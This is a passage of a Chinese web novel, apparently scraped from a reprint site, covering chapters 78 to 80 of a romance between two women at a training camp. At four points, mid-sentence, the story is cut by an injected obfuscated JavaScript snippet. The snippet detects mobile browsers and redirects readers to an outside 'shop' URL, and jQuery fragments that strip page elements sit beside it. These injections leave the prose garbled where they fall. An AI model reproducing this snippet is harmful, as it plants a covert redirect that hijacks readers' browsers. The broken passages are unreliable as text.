【晚上也没有蛋挞[大哭][大哭]】 【惟愿,今天能吃到蛋挞(哦,还有主队,给点里吧[捂脸]】 【今天也是没有蛋挞的一天[裂开][裂开]】 连续好几天没买到蛋挞,秦离觉得最后一点快乐也没有了,每天都在朋友圈里哀嚎。下面评论区倒是一片欢乐,嘻嘻哈哈的,好多人都在问,真这么好吃嘛。 秦离不是馋那口吃的,就是……觉得事事不如意。 这天下午也依旧没买到蛋挞,甚至连小铺子都关着。 秦离塞完一大碗打卤面,出食堂时一脸生无可恋,在宿舍楼下的拐角处正好遇见了洛依。 洛依难得一个人走着,但秦离实在是没心情和她做那点客套动作,低着头打算假装没看见。 擦肩而过的时候,秦离突然感觉自己的袖子被拉了拉,但力道很小。 秦离没反应过来,顿了下要继续走,拉袖子的力道大了些。 “没买到蛋挞就这么失落啊……” 居然是洛依在和她搭话,秦离抬头,可能是诧异的表情太明显了,视线交织的那刻,洛依不自在地挪开了眼。 “呐。” 她示意秦离伸手,从兜里掏出个青团,放到她手心上。 “别不开心了,这是我专门在网上挑的,绝对比其它青团都好吃。我很会挑吃的哦。” 秦离立在原地,一直盯着洛依,人呆呆的。 洛依似乎被盯得不好意思了,一直别过脸,没和秦离对视。给完青团后,她手又插回兜里,整个人缩在宽松的外套里,有些局促。 “那,我走了,回见。” 擦身而过的时刻,秦离又闻见了那阵淡淡甜甜的香味,心情也在瞬间变好。 回到宿舍,其她三个室友都在打电话,秦离坐下,趴在桌子上,手指一直在软糯的青团上点着,出着神。 良久,她撕开包装,小口小口吃掉青团。里面是肉松,她没吃过这个,但觉得这一定是她吃过最好吃的青团。 之后的日子没有大的变化,秦离也依旧没什么机会和洛依多说话,但日常里多了些心脏微甜的时刻。 她和洛依对视的时刻多了。 对方似乎也开始注意到她,在教室里,宿舍楼里,校园里,在秦离发现洛依的时刻,对方也总能很快发现她。 然后便是笑一笑,不再那么客气,眼睛亮亮的,很可爱。 那次青团打开了个口子,两人虽然没有多说话,却多了很多小动作。 上课前,拥挤的楼梯间上上下下,走在前面还在和朋友说说笑笑的洛依,在拐角处会突然回头,匆忙给上方的秦离塞一颗青苹果味的糖。 秦离路过洛依宿舍时,与门缝里的她对视,洛依也会在和舍友笑闹期间,跑到门口给她抓点小零食后又跑进去。 还有一次,秦离和其它班几个班长被负责培训的老师——也是个年轻小姑娘——叫到她宿舍,说是家里寄了只老母鸡,她拿电磁锅炖了,不方便告诉太多人,悄悄请大家过来吃,谢谢她们平时支持她工作。 吃到一半,她突然收到洛依的消息,问她要不要吃冰粉。秦离很诧异,又很欢喜,找了个借口匆匆离开,和也离开朋友聚餐的洛依蹲在没人的楼梯间里,吃着她端来的一碗冰粉。 冰粉的味道很好,秦离边吃边问道:“你哪里买的冰粉啊,食堂有卖吗?” 洛依整个人被宽松的外套包裹着,显得很可爱。她说话声音不大,偷偷摸摸像是怕被别人发现,但听上去很活泼:“当然是外面买的,食堂东西那么难吃。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370207|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外面?”秦离诧异,“不是不让出去么?” 洛依笑了,抿着嘴,看着依旧有些内敛:“当然是悄悄点外卖啊,姐姐你好老实哦,就真的天天吃食堂啊?” 秦离的心跳骤然加快,为她的称呼和一点点亲昵的态度。心脏的酸软感蔓延到四肢,让她整个身体都发软,又泛上更多的甜。 她觉得自己的声音都变得很柔和,像是哄人一般:“我这不是不知道嘛。” 洛依站在高一阶的台阶上,看向她的眼神很亮,眼睛闪着光,像是星星那样。她那样看着你,就仿佛全世界最爱你一般。 秦离深陷进去,无法自拔,只能任由心脏不受控制地越跳越快。 似乎是被秦离盯得不好意思了,洛依别开脸,手脚有些不自在:“那是你太认真了,带队是,上课是,做报告也是,我们这边好多人都在夸你。” “嗯?”秦离还在恍惚着,无意识应着。 洛依以为她在发问,别扭着声音更小了:“就,夸你很厉害,看着又挺成熟温柔的。” 因为备考的原因,秦离比一年前瘦了些,精神也好了许多。虽然还是比大学时重,看着有些圆润,但仍保持了姣好的身材曲线,加上她做事周全体贴又爱笑,在这一圈培训的人里评价还不错。 平时她很爱主动站出来去牵头活动,也不吝于课上发言,还参与了学校这段时间的新闻撰写活动,确实是很活跃。 这模样倒是有点像她高中时候。 只是活动之外,她又没有与任何人建立深入联系,依旧是独行侠,在不熟悉的人看来,显得有些外热内冷,不易接近。除了无敌自来熟的罗娜外,便没什么人敢来约她私人活动。 旁人的这些评论,秦离都不知道。 她只是才反应过来洛依说的话,脸有些发红,犹豫着不知道该说什么,怕应下显得自己太自恋,不应又显得太冷漠。 沉默在楼梯间里蔓延,但双方都呆在原地没有动。 最后,还是洛依先动了。她推了推眼镜,袖子挡住了半张脸。 “那我回去了,她们还在等我呢。” “嗯。”秦离有些舍不得。 “下次给你带其它吃的吧,我买的卤牛肉泡在自热火锅里煮出来可好吃了。” “好。” 秦离很期待下一次食物分享。她曾在洛依桌上看见过一只戴帽子的小羊——虽然是她的朋友送的。 她觉得眼睛亮亮,经常冒出些小主意,不喜欢循规蹈矩的洛依就像这只小羊一样可爱。 但甜的似乎只是洛依从指缝间漏出给她的时间。更多时间,秦离看着她被许多人围着。她说话很有趣,身上有着调皮肆意的孩子气,又不过度让人讨厌。 她总是被很多人照顾着,喜欢着。 秦离也不过是关注她的其中一个人罢了。就像她也会把好吃的东西分享给周围许多人。 不过,洛依关系最好的还是田薇和谢依霖。 她们三个人总是呆在一起,自成结界,好像其她所有人都变成了外人。 78. Chapter 78 商城大学管得很严,全天上课、早晚点名、体能锻炼、各种开会,甚至还要定期检查寝室卫生秩序。 这个周五下午,按要求,所有班长要交叉检查其它班的宿舍情况。秦离被分到的是三班。 按照顺序一间间来,她有些紧张,到洛依那间时,按了按跳动的心口,顿了顿才敲门:“检查宿舍。” 进去后,其她三个人都在,唯有洛依不见踪影。 秦离心不在焉环视房间,唯一空着那个床位上,床尾堆着个揉成一团,挤挤丑丑的被子。 商城大学是要检查被子外形的,秦离看着,忍着笑,脸上正经的表情有些变形。 洛依的室友年龄都很小,以为她生气了,连忙紧张着解释:“洛依被子被褥有点问题,捏不出形状,就这样已经是我们帮她一起努力的结果了。” 她们都很担心她被记差。 秦离自然不会计较这个,装似不经意问道:“她人不在宿舍吗?” 这时有人认出秦离了:“啊,你是经常过来找洛依那个女生。” 其实是有几次秦离路过,被洛依发现,跑出去给她拿吃的。室友看见,还以为她是专门过来找洛依的。 秦离乐得她们这么认为,笑意也藏不住了:“我肯定不会记她的,就是看她没在,问问。” 室友们也笑了,氛围变得轻松:“她啊,跑出去一会了,大概率是去找田薇、谢依霖她们了吧。” “是啊,她们三个简直跟连体婴儿一样,老是钻在一起,不知道的还以为她们已经认识好多年了呢。” “好像是去尽头阳台那边了。” 秦离心中那点涩涩的感觉又出现了,但忍住没让人看出来。她接着检查,一间又一间,直到结束了往自己宿舍走。 她宿舍本就在靠近尽头的位置。她没回去,而是放轻脚步,往阳台那边走去。 阳台门平时是开着的,今天关了一大半,虚掩着只露出一点门缝,欢声笑语从里面透了出来。 秦离听见三个人的声音,洛依听着比平时和她说话时要更活泼欢快。她从门缝看进去,只能看见三个凑得很近的身影,说话着、打闹着,洛依似乎抬手拍了下田薇的头。 那氛围真好啊,像是青春的女大学生那样。而大学,好像是离自己很遥远的事了。她被社会荼毒了太久,满身社畜味,即使是重回校园,作出看似积极努力的样子,好像也融不进人群。 秦离呆在那里,脑里划过很多丧气的念头,直到背后有人喊她:“秦离?” 秦离一惊,回头发现是罗娜。 罗娜对发生了什么一无所知,问道:“你站这做什么呢?” 她声音不大,秦离不想被洛依她们发现自己站在这里,连忙拉着她往远处走,边走边搪塞道:“没事,我突然想起个事,在那里想出神了。” 阳台上似乎有些动静,又似乎没有,秦离没有回头看。 这天晚上,熄灯后,直到室友们都已经跟家里人打完电话又玩手机玩困了,秦离还是睡不着。 时钟已经跳到新的一天了,秦离悄悄爬起来,换了衣服跑出宿舍。 深夜的校园静悄悄的,高大的树木在风中摇来晃去,树影在月光下颤动。 秦离在校园里游荡着,走到了初遇洛依时的那片湖。 湖没有名字,也没有怎么维护,湖边一圈的小道被郁郁葱葱的灌木、矮树和藤萝挤占了空间,小道上只有零星几个陈旧腐朽的木制长椅。今晚的月色很亮,湖水是墨绿色的,波光粼粼,月亮在上面随波荡漾,偶尔有小鱼扑腾打破湖面。 秦离也不管衣服被弄脏,缩坐在长椅上,抱住膝盖,望着湖发呆。 手机随机放着歌,是恋爱的犀牛。 “一切白的东西和你相遇 都成了黑墨水暗淡无光 一切鸟兽因为不能说出你的名字而万分绝望 一切路口亮起绿灯让你随意通行 一切指南针为我指出你的方向”① 秦离突然觉得什么都挺没意思的,努力积极没意思,悲观颓废也没意思。她一边沉溺在这种自暴自弃的失落中,一边又旁观着、嘲笑着这种失落。 她这是在做什么,因为一出自导自演的独角戏而悲春伤秋么,有谁看见,搞得自己好像多么深情一样,可笑。 秦离眼神放空,想起了过去好多好多事,中学时,大学……时,再后来忙忙碌碌工作,恍惚回头看过,居然都要迈入三十了。这个时代,连整个社会都逐渐抛弃九零后,将目光转向千禧一代。 时光跑得好快。 秦离漫无边际地想着,都快想到什么人生哲学、生存意义了,这时她突然感到腿上一痛,一巴掌拍下去,一手的血。 “该死的蚊子!怎么这个季节就有了!” 蚊子肆行,最终是满腿的包中断了秦离的自闭状态。心理上的emo比不上皮肤的瘙痒难受,她乖乖回了宿舍。 这之后,秦离觉得自己不能再沉溺在这种似有若无的关系里了,自己心烦意乱,说不定也惹得别人不耐烦呢。 她强忍住不再关注洛依,路上看见她会远远绕开,实在避无可避就低下头假装在玩手机。虽然这样挺像个傻叉的,单方面的自作多情什么的,说不定对方根本就没意识到呢。秦离自嘲着。 哈哈。 没有和洛依那些微甜的时间碎片,培训的日子也在一天天朝前走,很快就要到半了。 秦离的情绪最近一直不太高。她虽然仍坐在第一排,但大部分时候在发呆,创作热情倒是很澎湃,什么散文啊诗啊小说啊都会写一点,甚至还会写几句歌。 “最近爱上了吃糖 青苹果味 酸酸甜甜 和想你的感觉很像 我坐在木椅子上 偷偷望天 胡思乱想 和十七岁时候一样”② 即使再怎么刻意忽视,她都仍会看见洛依,于是将心中翻滚的情绪全部述诸笔尖,这样似乎会好些。 而且,好歹也算是上好的写作素材呢,够真情实感,对吧。 哈哈。 秦离听歌的时间也大幅度增加。醒着的时候,除了上课,她无时无刻不挂着耳机。 这天,踩着夕阳回到宿舍,不知怎的,软件突然给她推送了《小茉莉》。 【你有多久没听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370208|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过这首歌了呢,快来重温旧时回忆吧!】 “晚风吹拂青草地夕阳染红了小茉莉 微笑绽放不言也不语看不透你的秘密”③ 秦离恍惚,思绪好像被拉到了六七年前,但那些记忆像是隔了一层玻璃,朦朦胧胧梦境般,连脑子里的人和景都看不清。 她太累了,带着心中所有情绪,将这首歌转发到朋友圈,然后将手机扔到床尾,倒在床上一睡不起。 再醒来时,室友们都回来了,天花板上炫白的日光灯照得人头昏脑涨。秦离晕乎乎爬下床,去冲了个澡。 裹着浴巾出来时,她才想起打开手机。 朋友圈界面上,《小茉莉》的分享下有个孤零零的赞,是洛依点的。 秦离的心跳不受控制地变快。 她退出界面,看见洛依给她发了条消息:【秦同学,要出来听歌吗?】 这是她们加了好友之后,对话栏里的第一条消息。 或许是浴室里太闷,秦离只觉得头更昏了。她脑子里什么都还没想,手上消息已经发出去了:【好啊。】 对方消息回得也很快:【那你开门吧,我在你宿舍门口。】 秦离过去开门,洛依确实就在门口,穿着蓝色短T,上面有个可爱笑脸。 她戴着白色的头戴式耳机,本来笑着,在看见秦离的瞬间低头,声音也压低了:“你……你刚洗完澡?” 秦离也才反应过来,倒没觉得有什么:“嗯,刚洗完。” “你……你跟我说啊,怎么这样就来开门……” 洛依这么不自在,秦离反而笑了,淡定道:“还好吧,我一直都这样。” 洛依一直不抬头,只叫秦离换个衣服,头发吹干了再出来,自己在外面等她。 秦离吹得很急,穿着粉色睡裙出来,微湿的发梢打湿了胸前的布料。她身上还带着水汽,萦绕着香甜的味道。 洛依靠在白墙上,单手插兜,望着虚空处发呆。秦离走到她身旁,轻轻拍了拍肩膀,她才回神。 “你,你来了啊。” 洛依勾起个腼腆的笑容,脸色红润,眼睛亮亮的。 “嗯……” 晚风从走廊尽头吹来,带着浓烈的夜的气息。 秦离跟着洛依走到尽头的阳台,掩上门,是狭长又独立的空间。音乐从洛依的耳机里传出,秦离想到了她和另外两个女孩子呆在里面聊天的场景,有种探入对方私密世界的欢喜。 “这次我就带了这一个耳机,其它的都放家里了,你试试。” 洛依将耳机取下,给秦离戴上。温热的触感包裹了她的双耳,柔和的旋律如呼吸般轻轻吹在她的皮肤上,让她身体发痒。 “刻在我心底的名字 你藏在尘封的位置 要不是这样我怎么过一辈子”④ 完美的双人音域,让整颗心都变得柔软。洛依举着手机,给她看MV,凑得很近。两人手臂挨着手臂,发丝触碰着。 秦离已经分不清,那股香味是自己,还是对方身上的。 清冷的夜风中,浪漫的旋律里,她只看得见洛依的笑容,和她清澈的眼神。 很乖。 79. Chapter 79 那晚,她们的对视尤为得多。洛依的个子要矮些,跟秦离说话时微微仰头,眼里似乎满怀期待和依赖。秦离恍惚觉得,自己好像是她能看见的全世界。 这样的眼神…… 洛依柔软的脸颊好像是香甜的布丁,秦离看着,垂在身侧的手动了动,忍住了想要触碰的冲动。 心不在焉地听了许多歌,秦离快要控制不住内心的渴望,又不舍得说结束。最后,还是洛依先开口:“差不多就这些了,下次我翻到好听的再分享给你。” “好哦,那我也把我觉得好听的发给你。” “好呢。0~0” 两人从阳台出来,走廊上没什么人。秦离看着自己的手背不受控制地与洛依的手背擦过,听着两边宿舍里隐约传来的声音,心中只觉欢喜。 秦离的宿舍先到了,她没有进去,陪着洛依继续往前走,洛依也没有拒绝。 到洛依那边了,她开门,朝秦离小幅度地挥挥手,像举个猫爪子样,道:“那我进去了?” “嗯,”秦离心中不舍,“你早点休息,晚安。” “好呢,晚安。” 洛依进去了,关门前的最后瞬间,小声道:“对了,你朋友圈分享那首歌,也很好听。” 房门关上,秦离站在漆黑的楼道里,笑了。 她似乎,可以再多点勇气,主动些了。 那晚之后,两人的联系变得多起来,几乎每天都在发消息。 她们互相分享了很多歌,在许多熄灯的夜晚在阳台和楼道角落里一起听歌。秦离知道了她的生日、性格、喜好,她的朋友,她的……过去。 洛依果然是弯的,如秦离那晚猜测的一般。而且她和前任分手已经两三年了,目前单身。洛依没有提太多,但秦离大概了解到,前任是她的中学同学,两人一起走到了大学,分分合合又分开,异地成为两人避无可避的矛盾。 “异地恋太累,我也没有精力再谈一段恋爱,一个人挺好的。”洛依这么说着。 秦离为自己还有机会而窃喜,又如同守着珍宝的巨龙,不知道该如何处理是好。 洛依也问过秦离的过去。秦离说了许多,但感情的事,只说到大学谈过一段,没有提太多,最后耐不住洛依好奇的眼神,多讲了些。 “黎羽是个很成熟的人,习惯什么事都藏在心里。也可能是我太幼稚了吧,没法帮到她什么。我和她不是一类人,也没什么共同爱好,最后分开也是正常的吧。” 秦离说得轻描淡写,洛依却不满意了:“你说得好像她什么都好,都是你的问题似的。哼,你这么好,肯定是她不对。” 她的语气还带着些稚气,秦离听了笑了,终于忍不住摸了摸她的头,收获抗议的眼神一枚。 “没有什么对和不对,都已经七八年前的事了,说这些也没有意义。” “那你现在还喜欢她吗?” 秦离恍惚了一瞬。 其实说实话,刚分开的那两年,她心中总是愤愤不平,觉得黎羽提出了分手,那她就要将所有记忆都扔进垃圾桶,将这个人从自己的世界里完全剥离,就算对方找她复合,也绝对绝对绝对不吃回头草! 后来,妈妈生病了,她也不得不步入社会,每天被工作裹挟着,所有精力都被那些世俗的事蚕食殆尽,没有力气再想什么风花雪月的爱情。 现在再回过头来看,那些执着显得很幼稚又没有必要,更不用假想什么复合。她们都没有错,只不过是恰好被现实打倒了罢了,就像两条直线,在相交的第一天起,就已经开始了分离的倒计时。短暂的相交之后,她们只会背道而驰,越来越远。 即使她和黎羽曾经谈过一场现在看来依旧很美好的恋爱,黎羽也没有责任来承担两个人的人生。 那时,她也只有二十二岁而已。 她依旧会想起她,会怀念那些如梦似幻的爱情碎片,但黎羽的样子、声音和她的人生,已经变得像水中倒影般朦朦胧胧,看不清晰了。 或许是秦离沉默的时间太久了,洛依皱着眉,戳了戳她的手臂,将不满表现得很明显:“这么久了,你还喜欢她呀。” 秦离从回忆里拔出来,由她戳着,释然地笑了笑:“都陈年旧事了,不合适的两个人,谈不上什么喜欢不喜欢的。” 洛依有些在意,但见秦离不想多说,也不好再问什么。 和洛依接触久了,秦离发现她确实是个有些“娇气”,又很孩子气的人,或许是因为她本来年龄就小,又刚从学校出来吧。 洛依对这个世界似乎还充满了探索欲和期待度。她还会兴致勃勃地在网上搜罗好吃的、好玩的,会一边说着厌烦父母管束的话一边表现出对她们的依赖,会和小伙伴们商量着怎么躲开讨厌的老师的课和管教,会关注些无聊的话题和东西只要能哈哈大笑,会好奇团体里的八卦故事,吐槽奇葩的人和事。 连枯燥的早晚点名时刻,她都能发现些乐子。 “一班班长肯定没认真数人,报人数时都嘴瓢了。说起来,他们班几个人还差点和商大的几个学生吵起来,好像是因为饭卡的事。” “啊,今天月亮好圆好亮,就是被枯枝划成一道道的,偏暗的地方看着像是伤口。” 秦离从她那里听到了许多自己没注意到的人和事,也才发现,洛依并不像初见时看着那么内向,反而很喜欢和周围人聊天。 只要跟她相处过,对上她的眼神,秦离感慨,没有人会不喜欢她吧。 事实也如此。即使秦离和她逐渐熟络起来,也不过是占用了她部分时间罢了。其它时候,她还有许多要相处的朋友。 秦离因和她一起的每一刻而开心,又在看着她和其她人亲近时而低落,心情起起伏伏。 五月底的商城,天气已经燥热起来,炙热的太阳仿佛要将人晒掉一层皮,连人都变得浮躁。 下午的课是关于党史教育的,上课的是个小老头,面相看着就有些刻薄,像管学生一样管人,特别喜欢抽人回答问题,要是发现人不在,就会把情况报给负责人。如果负责人认为情形严重,报给人员所在单位,那就麻烦了。 哎呀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370209|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,培训嘛,水水就过了,还这样揪毛病也太讨厌了。 秦离也不喜欢他,在听到他课上点到洛依后,就更不喜欢了。 幸好,田薇反应快,及时站起来答了问题。小老头也不认识人,这事算是糊弄过去了。 秦离感到庆幸又嫉妒。下课后,她给洛依发消息:【没有来上课吗?】 洛依没有回她。 这几天,洛依回消息是慢了些,但见面时看着跟之前也没什么区别,秦离猜她或许是忙着和其她人说话,心中微酸,却也没有办法。但今天…… 秦离心里有些烦躁。 是……厌倦了吗…… 心情一落千丈,下午秦离就这么烦躁着,什么都没做。下课后,她没在食堂看见洛依,跑回了宿舍楼,忍不住去敲她寝室的门。 几声后,里面没有动静,秦离失望。就在她转身准备走时,房门开了。 “洛依……” 秦离有些急躁,但在看见洛依状态不对时,顿住了。 洛依这会看上去确实不太好。她穿着睡衣,头发乱糟糟的,嘴唇发白,裸露的皮肤都在发红。 “你怎么了,不舒服吗?” “嗯……”洛依的声音像小猫样小小的。 秦离很担心,上前摸了摸她的额头,有些烫:“发烧了?有没有量体温,有药吗?” “已经吃药了……”洛依迷糊着抓住秦离的手臂,声音软软的,“低烧而已,就是头痛……” 秦离这会后悔自己太莽撞,敲门把她吵醒了,看她难受又觉得揪心:“头痛多久了?怎么样才能舒服点,要拿热毛巾敷下吗,或者按一按?还是我去医务室再拿点药好了……” 秦离六神无主,想了很多办法却都不敢行动,害怕哪里让洛依不开心。 “三天了,没事,老毛病,忍忍就好了……” “那再睡会吧……” “没事,还能扛,等会……不是要点名吗,我还是得下去,免得被记名了,烦。” 课可以逃,但是点名要是缺席,被负责人发现记名,那就麻烦了。这点来说,其实洛依还是挺乖的。 但秦离这会顾不得想这么多。她心中满是自责,明明洛依都已经头痛几天了,但前两天见面,她却没发现哪里不对,只以为她是兴致不高话变少了。 其实也是洛依比较能忍,平时嘻嘻哈哈的,但真的难受了,反而藏起来不想被人发现。 秦离还在劝她:“难受了就别去了,我想办法帮你请假。” “没事。” 洛依坚持,秦离也没办法。她站在门口别过脸,等洛依换完衣服,想着陪她一起下去,晚点还是去拿点解决头痛的药。 等了半天,她转过头,看见洛依已经穿好了,坐在椅子上,呆呆的,头发绑了个马尾,但可能是人迷糊的原因,梳得乱七八糟。 注意到秦离的视线,洛依看向她,眼神因为生病而失去焦距,显得可怜巴巴。 夕阳透过玻璃窗落进来,给她的侧脸蕴上一层昏黄柔和的滤镜。 80. Chapter 80 “怎么了?”秦离的声音也像这片橙黄的夕阳般柔和。 “好难受啊……”洛依嘟囔着。 秦离的心化成一汪春水,只想着对她再温柔些,百般呵护不为过。 “头还是很痛吗,要不要我给你按下?” 大概是室内静谧的氛围太好,秦离忍不住提出更亲密的接触请求。 “嗯……”洛依像小猫般轻哼了声,秦离心跳快了两拍。 秦离抽了把椅子,坐在洛依身后,取下她的银边眼镜。洛依闭上眼,看着好乖的样子。凑近了,秦离才注意到,她的睫毛长而密,随着不安转动的眼球微微颤动。 秦离突然也有些紧张。她酝酿了番,才抬手抚上洛依的脸,轻轻按动她的太阳穴。洛依无意识小声哼着,半昏半醒,迷糊道:“你身上好香啊……” 秦离的身体颤了颤,声音也不太稳:“我,今天刚换了衣服,大概是洗衣液的味道吧,好像是,薰衣草味?超市现买的,还挺便宜。”说到后面,她也不知道自己在说什么,声音干涩。 “嗯……”洛依不知道在应什么,或许也不知道自己刚才说了什么,秦离松了口气,又有些失落。 这按摩或许起了作用,洛依的眉头没有之前那么皱了。秦离观察着她的神情,问道:“怎么突然开始头痛?” 洛依的声音因生病而显得有些虚弱:“老毛病了,偏头痛,我身体就是这样,一不舒服就会持续低烧,身上好多地方都过敏了。我讨厌北方,呜……你看我手心都是烫的。” 她伸出手,给秦离看她通红的掌心。秦离用手指摸了摸,很烫。 发烧又过敏,难怪她身上看着这么红。 “吃了药没有起作用吗?” 洛依摇头,反应慢半拍:“一点点作用吧,还是得我自己扛过去。你别看我这样,我可是很能熬的。我以前身体比现在还差,三天两头请假,一年大半时间都在喝中药调理。高中有次在宿舍发高烧,直接昏死过去,把室友吓得不行,照顾了我一晚上,她们人都很好。也是因为身体,我后来就没在篮球队了,只打打羽毛球之类的。” 她言辞间还有些小得意,说到自己虽然身体差,但耐力很好,大概是常年生病练出来的,能扛。 秦离心疼她:“那也不能硬撑啊,该养病休息的时候还是要好好休息。” “已经休息得够多了,我以前就老是躺着……” 两人又说了许多话,时间差不多了。最后,秦离看不过洛依歪歪斜斜的马尾,道:“我给你重新扎下头发吧。” “好呜。我就是手上没劲。扎头发也好累啊,下次还是剪短发好了。” 秦离见过她短发的照片,戴着黑色发带,很酷。不过她还是道:“长发也很好看啊。”衬得她看上去很乖。 洛依思考片刻:“长发也可以。” 洛依的长发也不太长,过肩一点。秦离第一次给别人扎头发,动作放得很轻很慢,梳了许多,才将碎发都拢起来,扎了个高度适中的马尾,比刚才看着好多了。 扎完头,洛依依旧保持头微低的姿势,露出她光洁的后颈,轮廓在夕阳里发光。 秦离心中一动,偷偷用手机拍下她的侧脸,建了个相册,将这张照片和之前拍下的每次洛依送她的零食照都挪了进去。 相册名,洛依。 这时,门锁突然动了,秦离吓一跳,心虚般站起来拉开距离,将手机塞进兜里。 门打开,是洛依的室友回来了。 “洛依,你没事吧……咦,班长你也在啊?” 见过秦离的次数多了,她们也熟起来,干脆直接喊班长。 “嗯,我就是看洛依生病了,过来看看。” “是欸,她前天晚上发烧把我们吓一跳。我们说给负责人打电话去医院吧,洛依偏说没事,不麻烦别人,倔得很。” 原本安静的宿舍突然变得拥挤吵闹。 时间到了。 下楼后,秦离看着两人距离越来越远,去向不同的队伍,心中不舍。点名时,她一直心不在焉,看向洛依那边。 洛依站着也在出神,注意到她的目光,看过来,带着安抚的笑容。 于是秦离也笑了,为这瞬间的对视而欢喜。 点名结束,又是田薇和谢依霖凑到洛依身旁,神情关切。秦离原本也想过去,见状停住脚步,心里涩涩的。 她还是跑去医务室,拿了些药,回去给了洛依。 洛依没多说什么,收下了。秦离松了口气,忍不住嘱咐道:“头痛、过敏和发烧的药我都拿了些,也不知道哪些你能用,你看着吃,别跟本来吃的重了。” “好呜,谢谢。” 洛依乖巧应着。两人又说了几句话,秦离不忍她在门外多站着,让她快回去休息。 走之前,秦离犹豫再三,还是道:“你之后去上课,我能和你坐一起吗?” 她难以忍受每天和洛依只有那一点相处时间,想要索求更多。 “好啊。”洛依睫毛颤了颤,应得很快。 第二天,秦离和洛依一起坐在阶梯教室靠右的最后一排。上课前,她注意到之前坐第一排时的上进搭子抬头四处张望,可能是在看她怎么还没来,秦离心虚低头。 围着洛依坐的是她们班一堆人。田薇和谢依霖坐在她右边,秦离来得快,挨着她左边坐。其她大部分人秦离都不认识,唯一熟悉的就是罗娜,坐在两人后排。 见她过来,罗娜稀奇:“今天怎么突然坐后面来了,你平时不都是第一排吗?” 秦离打哈哈着:“老坐第一排没意思,老师也没讲啥内容,我也想偷懒嘛。” “学霸也有偷懒的时候啊,”罗娜打趣她,“不过你和洛依什么时候这么熟了?” 秦离喜欢旁人将两人放在一起讲,笑道:“就,还挺投缘的。” 课上,秦离不再听课做笔记,也与洛依悄悄说着小话,话题大多是洛依喜欢的东西,历史啊文学啊,反正秦离对什么都感兴趣,都能聊。 洛依从图书馆借了一本明史的书,两人翻着,秦离听她说了许多。 洛依说,她高中是学理科的,大学读了计算机。这方面,她的天赋也不错,专业课一向是碾压班上其他人的。但要说她最喜欢的还是历史,可惜没机会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370210|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 读。 “想读可以考研试试呀。”秦离鼓励她,又说起自己的打算,“悄悄跟你说,其实我也没打算在这个岗位上呆太久。我还是不太喜欢体制内,不过家里人比较坚持。等我干一段时间,看写文能有点保底收入了,就辞职去考研,之后再看干什么都行嘛。” 从确认上岸后,她的作息规律起来,状态变好,又开始写文了。这次她信心满满,要好好发展写文副业,然后去做自己真正想做的事。 真正想做的事…… 她还是念着那年没有去成的南城大学。她想读中文系,要是毕业后可以去高校工作就更好了。 洛依瞥了她眼,似乎是没想到她才刚上岸就有要跑路的打算。 对自己,她摇了摇头:“我不行。现在这个系统内,家里还算有些说得上的关系,出去也不知道做什么。等过一两年,我妈就找人把我调到花城去,离家也近。” “而且历史吧,读书倒是很快乐,但出来找不到工作啊,还是风险太大了。” “也是。”秦离知道她说的是实话,连带自己的热情也冷却几分。毕竟文科是公认的难找工作,连比自己小的洛依都有所顾虑,自己的年龄……还经得起几年挥霍呢。 洛依也知道自己这话说得有些冷场,给她打气:“还是我太胆小了,也害怕变化。是你的话,大概这些都不是问题,毕竟你这么厉害呀。” 被她夸着,秦离情绪又好起来了,谦虚道:“也没有啦。” 她心里想着,至少等写文有一点点稳定收入了吧,每月三千就足够,只要有保底生活的钱。 两人又聊了会,这次没有说太多现实话题。 接下来几天,秦离都贴着洛依她们一起行动,和她们一起上课、吃饭。 即使如此,洛依的时间也不独属于她,还被其她朋友占去,其中最多的就是田薇和谢依霖。她们依旧有很多三人小团体时间,洛依和她们一起时,便顾不上秦离这边。 说来大概也是因为排斥心理,秦离和洛依身边其她人都慢慢熟络起来,唯独对田薇和谢依霖,基本没有怎么说过话。 她也曾在洛依那里旁敲侧击过,知道田薇有男朋友,于是关注点又投向了谢依霖。 秦离明白自己是嫉妒,又觉得这种嫉妒来得发笑。 